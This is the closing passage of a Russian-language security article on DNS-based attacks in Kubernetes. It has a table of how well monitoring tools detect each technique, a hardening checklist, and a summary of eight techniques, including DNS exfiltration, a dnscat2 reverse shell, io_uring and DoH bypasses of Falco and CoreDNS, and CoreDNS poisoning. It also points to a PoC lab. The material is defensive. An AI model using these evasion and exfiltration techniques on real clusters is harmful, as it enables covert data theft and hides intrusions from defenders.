| io_uring bypass | BLIND | BLIND (default) | Видит | Блокирует | Видит |
| DoH из пода | Не детектирует | Не детектирует | BLIND | Блокирует (если strict) | BLIND |
| Ring Buffer Flood | ~60% loss | Устойчивее | N/A | N/A | N/A |
| CoreDNS Poisoning | N/A | N/A | Обойдён | N/A | Обойдён |
| Slow Drip | Ниже порога | Ниже порога | Видит, но не алертит | N/A | Видит, но не алертит |
| Go Pure Resolver | Частичный bypass | Видит (kprobe) | Видит | Блокирует | Видит |
| Hardcoded IP | N/A | N/A | N/A | Блокирует | BLIND (FQDN) |
| DNS Truncation | N/A | N/A | N/A | N/A | Fail-open |
11. Чек-лист для продакшена
Немедленные действия (день 1)
- Включить log-плагин CoreDNS и собирать логи в SIEM
- Применить default-deny egress NetworkPolicy на все рабочие namespace
- Allow-list: разрешить DNS только до CoreDNS (kube-dns)
- Ревизия:
kubectl get svc -A -o json | jq '.items[] | select(.spec.type=="ExternalName")'
Средний приоритет (неделя 1)
- Развернуть Falco с кастомными DNS-правилами
- Добавить Kyverno/OPA policy на блокировку ExternalName
- Настроить алерты на DNS-запросы с длинными label (>50 символов)
- Проверить RBAC: кто может создавать namespace и Service
Средний приоритет — обход защит (неделя 2)
- Seccomp-профиль: блокировка
io_uring_setup/enter/registerна всех рабочих подах - Kyverno/OPA policy: запретить
dnsPolicy: None - Алерт на
Falco internal: syscall event drop(маркер ring buffer flood) - Audit Log: алерт на изменение ConfigMap
corednsвkube-system - CoreDNS: обновить до >=1.12.4 (CVE-2025-58063, CVE-2024-0874)
- Мониторинг уникальности поддоменов per parent domain (slow drip detection)
- Для Cilium: комбинировать FQDN policy с L3/L4 default-deny
Стратегические (месяц 1)
- Мониторинг DNS-энтропии (ML-детектирование DNS tunneling)
- DNS allowlist на уровне CoreDNS (разрешить резолв только для известных доменов)
- Рассмотреть
ndots:2вместоndots:5(ускоряет резолв + снижает поверхность атаки ExternalName) - Cilium DNS-aware NetworkPolicy (L7 фильтрация DNS)
- eBPF observability (Tetragon) для полного аудита DNS на уровне ядра
- Baseline нормального DNS-поведения каждого пода (Hubble flow logs)
12. Заключение
DNS в Kubernetes — это протокол, который всегда работает. Именно поэтому он так ценен для атакующего и так опасен для защитника.Мы разобрали восемь атакующих техник:
Базовые векторы:
- DNS Discovery — бесплатная карта кластера без единого обращения к API.
- DNS Exfiltration — выкачка данных через поддомены, невидимая для стандартного мониторинга.
- DNS C2 — полноценный обратный шелл через dnscat2, проходящий любые файрволы.
- ExternalName Hijack — перехват трафика к github.com через
ndots:5, актуальный для ArgoCD/Flux.
- io_uring bypass — Falco и Tetragon полностью слепы к DNS через io_uring.
- DoH из подов — полный обход CoreDNS через DNS over HTTPS.
- Ring Buffer Flood — утопить Falco в мусорных событиях, потерять реальные алерты.
- CoreDNS Poisoning — прямая подмена DNS через модификацию ConfigMap.
01_create_cluster.sh + 02_deploy_baseline.sh, и вот готов рабочий полигон для тестирования всех атак и защит.Репозиторий с PoC-лабораторией: kuber-dns-exfil-lab
Последнее редактирование: